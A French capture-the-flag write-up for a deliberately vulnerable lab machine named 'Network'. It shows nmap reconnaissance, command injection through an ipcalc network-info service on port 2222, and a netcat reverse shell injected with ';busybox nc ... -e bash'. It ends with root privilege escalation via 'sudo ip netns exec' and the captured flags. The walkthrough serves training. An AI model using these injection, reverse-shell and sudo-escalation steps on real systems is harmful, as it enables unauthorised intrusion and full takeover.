Post

Network

Network est une machine vulnérable a l'injection de commande non standard avec l'élévation de privilège via la commande ip avec la permission sudo

Network

Reconnaissance - IP Cible - scan de ports

commencions par une découverte d’hôte sur l’interface réseau local eth0

1
2
3
4
5
6
7
8
──(d4fl0n㉿kali)-[~]
└─$ sudo arp-scan -l    
[sudo] password for d4fl0n: 
Interface: eth0, type: EN10MB, MAC: 08:00:27:4a:c6:8f, IPv4: 10.0.2.15
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1	52:54:00:12:35:00	QEMU
10.0.2.2	08:00:27:7a:30:d4	PCS Systemtechnik GmbH
10.0.2.119	08:00:27:1e:8c:66	PCS Systemtechnik GmbH

l’adresse de la machine cible est 10.0.2.119

1
2
3
4
5
6
7
8
9
10
11
12
┌──(d4fl0n㉿kali)-[~]
└─$ nmap -p- 10.0.2.119                 
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-30 03:45 -0400
Nmap scan report for 10.0.2.119
Host is up (0.0027s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
2222/tcp open  EtherNetIP-1
8080/tcp open  http-proxy
MAC Address: 08:00:27:1E:8C:66 (Oracle VirtualBox virtual NIC)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
┌──(d4fl0n㉿kali)-[~]
└─$ nmap -p 22,80,2222,8080 -A -O -sSCV 10.0.2.119
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-30 03:47 -0400
Nmap scan report for 10.0.2.119
Host is up (0.0041s latency).

PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH 8.4p1 Debian 5+deb11u7 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp   open  http          Apache httpd 2.4.67 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.67 (Debian)
2222/tcp open  EtherNetIP-1?
| fingerprint-strings: 
|   GenericLines: 
|     [93m[i] 
|     [97mEnter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
|     [92m 
|     [94m[*] 
|     [97mRetrieving network information for: 
|     [92m
|     [92m
|     [91m
|     INVALID ADDRESS: 
|     [92m
|     [92m[+] 
|     [97mNetwork information retrieved successfully.
|   NULL: 
|     [93m[i] 
|     [97mEnter an IPv4 address to retrieve network information (e.g. 10.10.10.10):
|_    [92m
8080/tcp open  http          Apache httpd 2.4.67 ((Debian))
|_http-server-header: Apache/2.4.67 (Debian)
|_http-title: Apache2 Debian Default Page: It works
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port2222-TCP:V=7.99%I=7%D=10/30%Time=6AE44BAC%P=x86_64-pc-linux-gnu%r(N
SF:ULL,5E,"\n\x1b\[93m\[i\]\x20\x1b\[97mEnter\x20an\x20IPv4\x20address\x20
SF:to\x20retrieve\x20network\x20information\x20\(e\.g\.\x2010\.10\.10\.10\
SF:):\x1b\[92m\x20")%r(GenericLines,327,"\n\x1b\[93m\[i\]\x20\x1b\[97mEnte
SF:r\x20an\x20IPv4\x20address\x20to\x20retrieve\x20network\x20information\
SF:x20\(e\.g\.\x2010\.10\.10\.10\):\x1b\[92m\x20\x1b\[94m\[\*\]\x20\x1b\[9
SF:7mRetrieving\x20network\x20information\x20for:\x20\x1b\[92m\r\.\.\.\x1b
SF:\[0m\n\x1b\[92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94
SF:\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9
SF:4\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x
SF:94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\
SF:x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2
SF:\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe
SF:2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x
SF:e2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\
SF:xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80
SF:\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x8
SF:0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x
SF:80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\
SF:x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94
SF:\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9
SF:4\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x
SF:94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x1b\[91m\nINVALID\x20ADDRESS
SF::\x20\r\n\n\x1b\[92m\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe
SF:2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x
SF:e2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\
SF:xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80
SF:\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x8
SF:0\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x
SF:80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\
SF:x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94
SF:\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x9
SF:4\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x
SF:94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\
SF:x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2
SF:\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe
SF:2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x
SF:e2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\
SF:xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\x1b\[0m\n\x1b\[92m\[\+\
SF:]\x20\x1b\[97mNetwork\x20information\x20retrieved\x20successfully\.\x1b
SF:\[0m\n");
MAC Address: 08:00:27:1E:8C:66 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

d’après la sortie de nmap nous avons 4 ports ouverts avec des service ssh http EtherNetIP-1 http-proxy

d’après aussi la sortie nmap sur le port 2222 on nous demande Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10) d’entre une adresse IPv4 ce qui attire notre attention dans se défi, nous allons commencé par ce port 2222

Enumeration EtherNetIP-1

1
2
3
4
5
6
┌──(d4fl0n㉿kali)-[~]
└─$ nc 10.0.2.119 2222 -vv
10.0.2.119: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.2.119] 2222 (?) open

[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10): 

donc il s’agit probablement d’un outil de diagnostique réseau qui fournis des informations réseau en fonction de l’adresse IP saisie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(d4fl0n㉿kali)-[~]
└─$ nc 10.0.2.119 2222 -vv
10.0.2.119: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.2.119] 2222 (?) open

[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10): 10.0.2.15
[*] Retrieving network information for: 10.0.2.15...
───────────────────────────────────────────────────────────────────────────────────────────
Address:   10.0.2.15            00001010.00000000.00000010. 00001111
Netmask:   255.255.255.0 = 24   11111111.11111111.11111111. 00000000
Wildcard:  0.0.0.255            00000000.00000000.00000000. 11111111
=>
Network:   10.0.2.0/24          00001010.00000000.00000010. 00000000
HostMin:   10.0.2.1             00001010.00000000.00000010. 00000001
HostMax:   10.0.2.254           00001010.00000000.00000010. 11111110
Broadcast: 10.0.2.255           00001010.00000000.00000010. 11111111
Hosts/Net: 254                   Class A, Private Internet

───────────────────────────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.
 sent 10, rcvd 1341

d’après la saisie de notre IP dans l’entre de la commande nous avons eu la sortie ci-dessus

essayons de détourné l’usage de l’outil en mettant autre chose que l’adresse IPv4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
┌──(d4fl0n㉿kali)-[~]
└─$ nc 10.0.2.119 2222 -vv
10.0.2.119: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.2.119] 2222 (?) open

[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10): --help
[*] Retrieving network information for: --help...
───────────────────────────────────────────────────────────────────────────────────────────
    
IP Calculator 0.5

Enter your netmask(s) in CIDR notation (/25) or dotted decimals
(255.255.255.0). Inverse netmask are recognized. If you mmit the
netmask, ipcalc uses the default netmask for the class of your
network.

Look at the space between the bits of the addresses: The bits before
it are the network part of the address, the bits after it are the host
part. You can see two simple facts: In a network address all host bits
are zero, in a broadcast address they are all set.

The class of your network is determined by its first bits.

If your network is a private internet according to RFC 1918 this is
remarked. When displaying subnets the new bits in the network part of
the netmask are marked in a different color.

The wildcard is the inverse netmask as used for access control lists
in Cisco routers. You can also enter netmasks in wildcard notation.

Do you want to split your network into subnets? Enter the address and
netmask of your original network and play with the second netmask
until the result matches your needs.

Questions? Comments? Drop me a mail: krischan at jodies.de
http://jodies.de/ipcalc

Thanks for your nice ideas and help to make this tool more useful: 

Bartosz Fenski
Denis A. Hainsworth
Foxfair Hu
Frank Quotschalla
Hermann J. Beckers
Igor Zozulya
Kevin Ivory
Lars Mueller
Lutz Pressler
Oliver Seufer
Scott Davis
Steve Kent
Sven Anderson
Torgen Foertsch
Edward
Nick Clifford
Victor Engmark

Usage: ipcalc [options] <ADDRESS>[[/]<NETMASK>] [NETMASK]

ipcalc takes an IP address and netmask and calculates the resulting
broadcast, network, Cisco wildcard mask, and host range. By giving a
second netmask, you can design sub- and supernetworks. It is also
intended to be a teaching tool and presents the results as
easy-to-understand binary values.

 -n --nocolor  Don't display ANSI color codes.
 -c --color    Display ANSI color codes (default).
 -b --nobinary Suppress the bitwise output.
 -c --class    Just print bit-count-mask of given address.
 -h --html     Display results as HTML (not finished in this version).
 -v --version  Print Version.
 -s --split n1 n2 n3
               Split into networks of size n1, n2, n3.
 -r --range    Deaggregate address range.
    --help     Longer help text.

Examples:

ipcalc 192.168.0.1/24
ipcalc 192.168.0.1/255.255.128.0
ipcalc 192.168.0.1 255.255.128.0 255.255.192.0
ipcalc 192.168.0.1 0.0.63.255


ipcalc <ADDRESS1> - <ADDRESS2>  deaggregate address range

ipcalc <ADDRESS>/<NETMASK> --s a b c
                                split network to subnets
				where a b c fits in.

! New HTML support not yet finished.

ipcalc 0.5
───────────────────────────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.
 sent 7, rcvd 3412

nous avons invoquer la commande d’aide est la sortie nous fournis même le nom du programme qui est utilisé, il s’agit probablement d’une injection de commande, testons notre théorie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──(d4fl0n㉿kali)-[~]
└─$ nc 10.0.2.119 2222 -vv
10.0.2.119: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.2.119] 2222 (?) open

[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10): ;id
[*] Retrieving network information for: ;id...
───────────────────────────────────────────────────────────────────────────────────────────
Usage: ipcalc [options] <ADDRESS>[[/]<NETMASK>] [NETMASK]

ipcalc takes an IP address and netmask and calculates the resulting
broadcast, network, Cisco wildcard mask, and host range. By giving a
second netmask, you can design sub- and supernetworks. It is also
intended to be a teaching tool and presents the results as
easy-to-understand binary values.

 -n --nocolor  Don't display ANSI color codes.
 -c --color    Display ANSI color codes (default).
 -b --nobinary Suppress the bitwise output.
 -c --class    Just print bit-count-mask of given address.
 -h --html     Display results as HTML (not finished in this version).
 -v --version  Print Version.
 -s --split n1 n2 n3
               Split into networks of size n1, n2, n3.
 -r --range    Deaggregate address range.
    --help     Longer help text.

Examples:

ipcalc 192.168.0.1/24
ipcalc 192.168.0.1/255.255.128.0
ipcalc 192.168.0.1 255.255.128.0 255.255.192.0
ipcalc 192.168.0.1 0.0.63.255


ipcalc <ADDRESS1> - <ADDRESS2>  deaggregate address range

ipcalc <ADDRESS>/<NETMASK> --s a b c
                                split network to subnets
				where a b c fits in.

! New HTML support not yet finished.

ipcalc 0.5
uid=1000(net) gid=1000(net) grupos=1000(net)
───────────────────────────────────────────────────────────────────────────────────────────
[+] Network information retrieved successfully.
 sent 4, rcvd 2017

notre commande a été exécuté avec succès, l’utilisateur est net

Exploitation - Reverse shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
┌──(d4fl0n㉿kali)-[~]
└─$ nc 10.0.2.119 2222 -vv
10.0.2.119: inverse host lookup failed: Unknown host
(UNKNOWN) [10.0.2.119] 2222 (?) open

[i] Enter an IPv4 address to retrieve network information (e.g. 10.10.10.10): ;busybox nc 10.0.2.15 4444 -e bash
[*] Retrieving network information for: ;busybox nc 10.0.2.15 4444 -e bash...
───────────────────────────────────────────────────────────────────────────────────────────
Usage: ipcalc [options] <ADDRESS>[[/]<NETMASK>] [NETMASK]

ipcalc takes an IP address and netmask and calculates the resulting
broadcast, network, Cisco wildcard mask, and host range. By giving a
second netmask, you can design sub- and supernetworks. It is also
intended to be a teaching tool and presents the results as
easy-to-understand binary values.

 -n --nocolor  Don't display ANSI color codes.
 -c --color    Display ANSI color codes (default).
 -b --nobinary Suppress the bitwise output.
 -c --class    Just print bit-count-mask of given address.
 -h --html     Display results as HTML (not finished in this version).
 -v --version  Print Version.
 -s --split n1 n2 n3
               Split into networks of size n1, n2, n3.
 -r --range    Deaggregate address range.
    --help     Longer help text.

Examples:

ipcalc 192.168.0.1/24
ipcalc 192.168.0.1/255.255.128.0
ipcalc 192.168.0.1 255.255.128.0 255.255.192.0
ipcalc 192.168.0.1 0.0.63.255


ipcalc <ADDRESS1> - <ADDRESS2>  deaggregate address range

ipcalc <ADDRESS>/<NETMASK> --s a b c
                                split network to subnets
				where a b c fits in.

! New HTML support not yet finished.

ipcalc 0.5

l’outil est rester bloqué ce qui prouve que notre commande est exécuté

1
2
3
4
5
6
7
8
9
10
11
12
┌──(d4fl0n㉿kali)-[~]
└─$ penelope                    
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 • 10.0.2.15 • 172.17.0.1
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => network 10.0.2.119 Linux-x86_64 👤 net(1000) 😍️ Session ID <1>
[+] ⭐ Agent deployed via /usr/bin/python3
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /home/d4fl0n/.penelope/sessions/network~10.0.2.119-Linux-x86_64/2026_10_30-04_03_52-071-net(1000).log
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
net@network:~$ id
uid=1000(net) gid=1000(net) grupos=1000(net)
net@network:~$ 

Post exploitation - énumération système

1
2
3
4
net@network:~$ getent passwd | grep -i bash
root:x:0:0:root:/root:/bin/bash
net:x:1000:1000:net:/home/net:/bin/bash
net@network:~$ 

nous avons 2 utilisateurs avec le programme shell et nous somme actuellement connecté en tant que l’utilisateur net donc nous allons faire un mouvement vertical

Escalade de privilège - sudo -l

1
2
3
4
5
Matching Defaults entries for net on network:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User net may run the following commands on network:
    (root) NOPASSWD: /usr/bin/ip

gtfobins

1
2
3
4
net@network:~$ sudo ip netns add foo
net@network:~$ sudo ip netns exec foo /bin/sh
# id
uid=0(root) gid=0(root) grupos=0(root)
1
2
3
4
5
# bash
root@network:/home/net# cd
root@network:~# id
uid=0(root) gid=0(root) grupos=0(root)
root@network:~# 

flag

1
2
3
4
root@network:~# cat root.txt /home/net/user.txt 
6881d504c6a19cd5d15dddfc9745e026
ed57ab104e04339fcc95e35865eb1e79
root@network:~# 
Cet article est sous licence CC BY 4.0 par l'auteur.